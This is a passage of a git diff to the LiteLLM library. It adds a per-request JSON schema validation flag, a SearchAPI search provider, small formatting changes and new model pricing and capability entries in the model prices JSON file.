input_policies: List[ToolPolicyOption] + output_policies: List[ToolPolicyOption] + + +class ToolDetailResponse(BaseModel): + tool: LiteLLM_ToolTableRow + overrides: List[ToolPolicyOverrideRow] = Field(default_factory=list) + + +class ToolUsageLogEntry(BaseModel): + """One spend log row for a tool call (for UI "recent logs" table).""" + + id: str # request_id + timestamp: str + model: Optional[str] = None + spend: Optional[float] = None + total_tokens: Optional[int] = None + input_snippet: Optional[str] = None + + +class ToolUsageLogsResponse(BaseModel): + logs: List[ToolUsageLogEntry] + total: int + page: int + page_size: int diff --git a/litellm/types/utils.py b/litellm/types/utils.py index 50e4687b5a8..3c818387744 100644 --- a/litellm/types/utils.py +++ b/litellm/types/utils.py @@ -291,6 +291,7 @@ class CallTypes(str, Enum): search = "search" asearch = "asearch" arealtime = "_arealtime" + aresponses_websocket = "_aresponses_websocket" create_batch = "create_batch" acreate_batch = "acreate_batch" aretrieve_batch = "aretrieve_batch" @@ -3026,6 +3027,7 @@ all_litellm_params = ( "shared_session", "search_tool_name", "order", + "enable_json_schema_validation", ] + list(StandardCallbackDynamicParams.__annotations__.keys()) + list(CustomPricingLiteLLMParams.model_fields.keys()) @@ -3236,6 +3238,7 @@ class SearchProviders(str, Enum): SEARXNG = "searxng" LINKUP = "linkup" DUCKDUCKGO = "duckduckgo" + SEARCHAPI = "searchapi" # Create a set of all search provider values for quick lookup diff --git a/litellm/utils.py b/litellm/utils.py index d192609eead..fca5914dbab 100644 --- a/litellm/utils.py +++ b/litellm/utils.py @@ -1319,7 +1319,18 @@ def post_call_processing( ### POST-CALL RULES ### rules_obj.post_call_rules(input=model_response, model=model) ### JSON SCHEMA VALIDATION ### - if litellm.enable_json_schema_validation is True: + # Per-request flag takes priority over global flag + _per_request_validation = ( + optional_params.get("enable_json_schema_validation") + if optional_params is not None + else None + ) + _enable_json_schema_validation = ( + _per_request_validation + if _per_request_validation is not None + else litellm.enable_json_schema_validation + ) + if _enable_json_schema_validation is True: try: if ( optional_params is not None @@ -1454,10 +1465,12 @@ def client(original_function): # noqa: PLR0915 logging_obj, kwargs = function_setup( original_function.__name__, rules_obj, start_time, *args, **kwargs ) - + # Type assertion: logging_obj is guaranteed to be non-None after function_setup - assert logging_obj is not None, "logging_obj should not be None after function_setup" - + assert ( + logging_obj is not None + ), "logging_obj should not be None after function_setup" + ## LOAD CREDENTIALS load_credentials_from_list(kwargs) kwargs["litellm_logging_obj"] = logging_obj @@ -1753,7 +1766,9 @@ def client(original_function): # noqa: PLR0915 print_args_passed_to_litellm(original_function, args, kwargs) start_time = datetime.datetime.now() result = None - _update_response_metadata = getattr(sys.modules[__name__], "update_response_metadata") + _update_response_metadata = getattr( + sys.modules[__name__], "update_response_metadata" + ) logging_obj: Optional[LiteLLMLoggingObject] = kwargs.get( "litellm_logging_obj", None ) @@ -1776,9 +1791,11 @@ def client(original_function): # noqa: PLR0915 logging_obj, kwargs = function_setup( original_function.__name__, rules_obj, start_time, *args, **kwargs ) - + # Type assertion: logging_obj is guaranteed to be non-None after function_setup - assert logging_obj is not None, "logging_obj should not be None after function_setup" + assert ( + logging_obj is not None + ), "logging_obj should not be None after function_setup" modified_kwargs = await async_pre_call_deployment_hook(kwargs, call_type) if modified_kwargs is not None: @@ -1861,6 +1878,7 @@ def client(original_function): # noqa: PLR0915 # MODEL CALL result = await original_function(*args, **kwargs) end_time = datetime.datetime.now() + if _is_streaming_request( kwargs=kwargs, call_type=call_type, @@ -2082,12 +2100,14 @@ def _is_async_request( return False -_STREAMING_CALL_TYPES = frozenset({ - CallTypes.generate_content_stream, - CallTypes.agenerate_content_stream, - CallTypes.generate_content_stream.value, - CallTypes.agenerate_content_stream.value, -}) +_STREAMING_CALL_TYPES = frozenset( + { + CallTypes.generate_content_stream, + CallTypes.agenerate_content_stream, + CallTypes.generate_content_stream.value, + CallTypes.agenerate_content_stream.value, + } +) def _is_streaming_request( @@ -2181,7 +2201,7 @@ def encode(model="", text="", custom_tokenizer: Optional[dict] = None): # Normalize: HuggingFace Tokenizer.encode() returns an Encoding object; # extract .ids so the return type is always List[int]. if hasattr(enc, "ids"): - return enc.ids + return enc.ids # type: ignore return enc @@ -5836,7 +5856,7 @@ def get_model_info( _model_info[key] = value # type: ignore # if verbose_logger.isEnabledFor(logging.DEBUG): - # verbose_logger.debug(f"model_info: {_model_info}") + # verbose_logger.debug(f"model_info: {_model_info}") returned_model_info = ModelInfo( **_model_info, supported_openai_params=supported_openai_params @@ -6179,8 +6199,10 @@ def validate_environment( # noqa: PLR0915 "AWS_ROLE_ARN" in os.environ or "AWS_PROFILE" in os.environ or "AWS_WEB_IDENTITY_TOKEN_FILE" in os.environ - or "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" in os.environ # ECS task role - or "AWS_CONTAINER_CREDENTIALS_FULL_URI" in os.environ # ECS/Fargate full URI credential delivery + or "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" + in os.environ # ECS task role + or "AWS_CONTAINER_CREDENTIALS_FULL_URI" + in os.environ # ECS/Fargate full URI credential delivery ): keys_in_environment = True else: @@ -7386,7 +7408,9 @@ class ModelResponseIterator: if convert_to_delta is True: _stream_response = ModelResponseStream() _stream_response.choices[0].delta.content = model_response.choices[0].message.content # type: ignore - self.model_response: Union[ModelResponse, ModelResponseStream] = _stream_response + self.model_response: Union[ModelResponse, ModelResponseStream] = ( + _stream_response + ) else: self.model_response = model_response self.is_done = False @@ -7457,13 +7481,13 @@ def is_cached_message(message: AllMessageValues) -> bool: Used for anthropic/gemini context caching. Follows the anthropic format {"cache_control": {"type": "ephemeral"}} - + Can be disabled globally by setting litellm.disable_anthropic_gemini_context_caching_transform = True """ # Check if context caching is disabled globally if litellm.disable_anthropic_gemini_context_caching_transform is True: return False - + if "content" not in message: return False @@ -7980,6 +8004,7 @@ class ProviderConfigManager: def _get_azure_ai_config(model: str) -> BaseConfig: """Get Azure AI config based on model type.""" from litellm.llms.azure_ai.common_utils import AzureFoundryModelInfo + return AzureFoundryModelInfo.get_azure_ai_config_for_model(model) @staticmethod @@ -8780,6 +8805,12 @@ class ProviderConfigManager: ) return BedrockStabilityImageEditConfig() + elif LlmProviders.OPENROUTER == provider: + from litellm.llms.openrouter.image_edit import ( + get_openrouter_image_edit_config, + ) + + return get_openrouter_image_edit_config(model) return None @staticmethod @@ -8830,6 +8861,7 @@ class ProviderConfigManager: ParallelAISearchConfig, ) from litellm.llms.perplexity.search.transformation import PerplexitySearchConfig + from litellm.llms.searchapi.search.transformation import SearchAPIConfig from litellm.llms.searxng.search.transformation import SearXNGSearchConfig from litellm.llms.tavily.search.transformation import TavilySearchConfig @@ -8845,6 +8877,7 @@ class ProviderConfigManager: SearchProviders.SEARXNG: SearXNGSearchConfig, SearchProviders.LINKUP: LinkupSearchConfig, SearchProviders.DUCKDUCKGO: DuckDuckGoSearchConfig, + SearchProviders.SEARCHAPI: SearchAPIConfig, } config_class = PROVIDER_TO_CONFIG_MAP.get(provider, None) if config_class is None: diff --git a/model_prices_and_context_window.json b/model_prices_and_context_window.json index 2606ef3aee2..02fc20518cd 100644 --- a/model_prices_and_context_window.json +++ b/model_prices_and_context_window.json @@ -9779,6 +9779,122 @@ } ] }, + "dashscope/qwen3-max-2026-01-23": { + "litellm_provider": "dashscope", + "max_input_tokens": 258048, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "source": "https://www.alibabacloud.com/help/en/model-studio/models", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "tiered_pricing": [ + { + "input_cost_per_token": 1.2e-06, + "output_cost_per_token": 6e-06, + "range": [ + 0, + 32000.0 + ] + }, + { + "input_cost_per_token": 2.4e-06, + "output_cost_per_token": 1.2e-05, + "range": [ + 32000.0, + 128000.0 + ] + }, + { + "input_cost_per_token": 3e-06, + "output_cost_per_token": 1.5e-05, + "range": [ + 128000.0, + 252000.0 + ] + } + ] + }, + "dashscope/qwen3-next-80b-a3b-instruct": { + "input_cost_per_token": 1.5e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 262144, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true + }, + "dashscope/qwen3-next-80b-a3b-thinking": { + "input_cost_per_token": 1.5e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 262144, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, + "dashscope/qwen3-vl-235b-a22b-instruct": { + "input_cost_per_token": 4e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 1.6e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-235b-a22b-thinking": { + "input_cost_per_token": 4e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 4e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-32b-instruct": { + "input_cost_per_token": 1.6e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 6.4e-07, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "dashscope/qwen3-vl-32b-thinking": { + "input_cost_per_token": 1.6e-07, + "litellm_provider": "dashscope", + "max_input_tokens": 131072, + "max_output_tokens": 32768, + "max_tokens": 32768, + "mode": "chat", + "output_cost_per_token": 2.87e-06, + "source": "https://www.alibabacloud.com/help/en/model-studio/model-pricing", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, "dashscope/qwen3-vl-plus": { "litellm_provider": "dashscope", "max_input_tokens": 260096, @@ -10844,7 +10960,8 @@ "output_cost_per_token": 9e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/NousResearch/Hermes-3-Llama-3.1-405B": { "max_tokens": 131072, @@ -10854,7 +10971,8 @@ "output_cost_per_token": 1e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/NousResearch/Hermes-3-Llama-3.1-70B": { "max_tokens": 131072, @@ -10874,7 +10992,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen2.5-72B-Instruct": { "max_tokens": 32768, @@ -10884,7 +11003,8 @@ "output_cost_per_token": 3.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen2.5-7B-Instruct": { "max_tokens": 32768, @@ -10905,7 +11025,8 @@ "litellm_provider": "deepinfra", "mode": "chat", "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-14B": { "max_tokens": 40960, @@ -10915,7 +11036,8 @@ "output_cost_per_token": 2.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B": { "max_tokens": 40960, @@ -10925,7 +11047,8 @@ "output_cost_per_token": 5.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B-Instruct-2507": { "max_tokens": 262144, @@ -10935,7 +11058,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-235B-A22B-Thinking-2507": { "max_tokens": 262144, @@ -10945,7 +11069,8 @@ "output_cost_per_token": 2.9e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-30B-A3B": { "max_tokens": 40960, @@ -10955,7 +11080,8 @@ "output_cost_per_token": 2.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-32B": { "max_tokens": 40960, @@ -10965,7 +11091,8 @@ "output_cost_per_token": 2.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Coder-480B-A35B-Instruct": { "max_tokens": 262144, @@ -10975,7 +11102,8 @@ "output_cost_per_token": 1.6e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Coder-480B-A35B-Instruct-Turbo": { "max_tokens": 262144, @@ -10985,7 +11113,8 @@ "output_cost_per_token": 1.2e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Next-80B-A3B-Instruct": { "max_tokens": 262144, @@ -10995,7 +11124,8 @@ "output_cost_per_token": 1.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Qwen/Qwen3-Next-80B-A3B-Thinking": { "max_tokens": 262144, @@ -11005,7 +11135,8 @@ "output_cost_per_token": 1.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/Sao10K/L3-8B-Lunaris-v1-Turbo": { "max_tokens": 8192, @@ -11056,7 +11187,8 @@ "cache_read_input_token_cost": 3.3e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/anthropic/claude-4-opus": { "max_tokens": 200000, @@ -11066,7 +11198,8 @@ "output_cost_per_token": 8.25e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/anthropic/claude-4-sonnet": { "max_tokens": 200000, @@ -11076,7 +11209,8 @@ "output_cost_per_token": 1.65e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1": { "max_tokens": 163840, @@ -11086,7 +11220,8 @@ "output_cost_per_token": 2.4e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-0528": { "max_tokens": 163840, @@ -11097,7 +11232,8 @@ "cache_read_input_token_cost": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-0528-Turbo": { "max_tokens": 32768, @@ -11107,7 +11243,8 @@ "output_cost_per_token": 3e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-Distill-Llama-70B": { "max_tokens": 131072, @@ -11127,7 +11264,8 @@ "output_cost_per_token": 2.7e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-R1-Turbo": { "max_tokens": 40960, @@ -11137,7 +11275,8 @@ "output_cost_per_token": 3e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3": { "max_tokens": 163840, @@ -11147,7 +11286,8 @@ "output_cost_per_token": 8.9e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3-0324": { "max_tokens": 163840, @@ -11157,7 +11297,8 @@ "output_cost_per_token": 8.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3.1": { "max_tokens": 163840, @@ -11169,7 +11310,8 @@ "litellm_provider": "deepinfra", "mode": "chat", "supports_tool_choice": true, - "supports_reasoning": true + "supports_reasoning": true, + "supports_function_calling": true }, "deepinfra/deepseek-ai/DeepSeek-V3.1-Terminus": { "max_tokens": 163840, @@ -11180,7 +11322,8 @@ "cache_read_input_token_cost": 2.16e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.0-flash-001": { "deprecation_date": "2026-06-01", @@ -11191,7 +11334,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.5-flash": { "max_tokens": 1000000, @@ -11201,7 +11345,8 @@ "output_cost_per_token": 2.5e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemini-2.5-pro": { "max_tokens": 1000000, @@ -11211,7 +11356,8 @@ "output_cost_per_token": 1e-05, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-12b-it": { "max_tokens": 131072, @@ -11221,7 +11367,8 @@ "output_cost_per_token": 1e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-27b-it": { "max_tokens": 131072, @@ -11231,7 +11378,8 @@ "output_cost_per_token": 1.6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/google/gemma-3-4b-it": { "max_tokens": 131072, @@ -11241,7 +11389,8 @@ "output_cost_per_token": 8e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.2-11B-Vision-Instruct": { "max_tokens": 131072, @@ -11261,7 +11410,8 @@ "output_cost_per_token": 2e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.3-70B-Instruct": { "max_tokens": 131072, @@ -11271,7 +11421,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-3.3-70B-Instruct-Turbo": { "max_tokens": 131072, @@ -11281,6 +11432,7 @@ "output_cost_per_token": 3.9e-07, "litellm_provider": "deepinfra", "mode": "chat", + "supports_function_calling": true, "supports_tool_choice": true }, "deepinfra/meta-llama/Llama-4-Maverick-17B-128E-Instruct-FP8": { @@ -11291,7 +11443,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-4-Scout-17B-16E-Instruct": { "max_tokens": 327680, @@ -11301,7 +11454,8 @@ "output_cost_per_token": 3e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Llama-Guard-3-8B": { "max_tokens": 131072, @@ -11331,7 +11485,8 @@ "output_cost_per_token": 6e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-70B-Instruct": { "max_tokens": 131072, @@ -11341,7 +11496,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-70B-Instruct-Turbo": { "max_tokens": 131072, @@ -11351,7 +11507,8 @@ "output_cost_per_token": 2.8e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-8B-Instruct": { "max_tokens": 131072, @@ -11361,7 +11518,8 @@ "output_cost_per_token": 5e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/meta-llama/Meta-Llama-3.1-8B-Instruct-Turbo": { "max_tokens": 131072, @@ -11371,7 +11529,8 @@ "output_cost_per_token": 3e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/microsoft/WizardLM-2-8x22B": { "max_tokens": 65536, @@ -11391,7 +11550,8 @@ "output_cost_per_token": 1.4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Nemo-Instruct-2407": { "max_tokens": 131072, @@ -11401,7 +11561,8 @@ "output_cost_per_token": 4e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Small-24B-Instruct-2501": { "max_tokens": 32768, @@ -11411,7 +11572,8 @@ "output_cost_per_token": 8e-08, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mistral-Small-3.2-24B-Instruct-2506": { "max_tokens": 128000, @@ -11421,7 +11583,8 @@ "output_cost_per_token": 2e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/mistralai/Mixtral-8x7B-Instruct-v0.1": { "max_tokens": 32768, @@ -11431,7 +11594,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/moonshotai/Kimi-K2-Instruct": { "max_tokens": 131072, @@ -11441,7 +11605,8 @@ "output_cost_per_token": 2e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/moonshotai/Kimi-K2-Instruct-0905": { "max_tokens": 262144, @@ -11452,7 +11617,8 @@ "cache_read_input_token_cost": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/Llama-3.1-Nemotron-70B-Instruct": { "max_tokens": 131072, @@ -11462,7 +11628,8 @@ "output_cost_per_token": 6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/Llama-3.3-Nemotron-Super-49B-v1.5": { "max_tokens": 131072, @@ -11472,7 +11639,8 @@ "output_cost_per_token": 4e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/nvidia/NVIDIA-Nemotron-Nano-9B-v2": { "max_tokens": 131072, @@ -11482,7 +11650,8 @@ "output_cost_per_token": 1.6e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/openai/gpt-oss-120b": { "max_tokens": 131072, @@ -11492,7 +11661,8 @@ "output_cost_per_token": 4.5e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/openai/gpt-oss-20b": { "max_tokens": 131072, @@ -11502,7 +11672,8 @@ "output_cost_per_token": 1.5e-07, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/zai-org/GLM-4.5": { "max_tokens": 131072, @@ -11512,7 +11683,8 @@ "output_cost_per_token": 1.6e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepseek/deepseek-chat": { "cache_creation_input_token_cost": 0.0, @@ -14334,6 +14506,57 @@ "supports_vision": true, "supports_web_search": true }, + "gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "vertex_ai-language-models", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "source": "https://ai.google.dev/gemini-api/docs/models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true + }, "deep-research-pro-preview-12-2025": { "input_cost_per_image": 0.0011, "input_cost_per_token": 2e-06, @@ -17090,6 +17313,59 @@ "cache_read_input_token_cost_above_200k_tokens_priority": 7.2e-07, "supports_service_tier": true }, + "gemini/gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "gemini", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "rpm": 15, + "source": "https://ai.google.dev/gemini-api/docs/models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true, + "tpm": 250000 + }, "gemini/gemini-3-flash-preview": { "cache_read_input_token_cost": 5e-08, "input_cost_per_audio_token": 1e-06, @@ -20440,6 +20716,40 @@ "supports_tool_choice": true, "supports_vision": true }, + "gpt-5.3-chat-latest": { + "cache_read_input_token_cost": 1.75e-07, + "cache_read_input_token_cost_priority": 3.5e-07, + "input_cost_per_token": 1.75e-06, + "input_cost_per_token_priority": 3.5e-06, + "litellm_provider": "openai", + "max_input_tokens": 128000, + "max_output_tokens": 16384, + "max_tokens": 16384, + "mode": "chat", + "output_cost_per_token": 1.4e-05, + "output_cost_per_token_priority": 2.8e-05, + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/responses" + ], + "supported_modalities": [ + "text", + "image" + ], + "supported_output_modalities": [ + "text" + ], + "supports_function_calling": true, + "supports_native_streaming": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_vision": true + }, "gpt-5.2-pro": { "input_cost_per_token": 2.1e-05, "litellm_provider": "openai", @@ -25706,6 +26016,30 @@ "supports_vision": true, "tool_use_system_prompt_tokens": 159 }, + "openrouter/anthropic/claude-sonnet-4.6": { + "cache_creation_input_token_cost": 3.75e-06, + 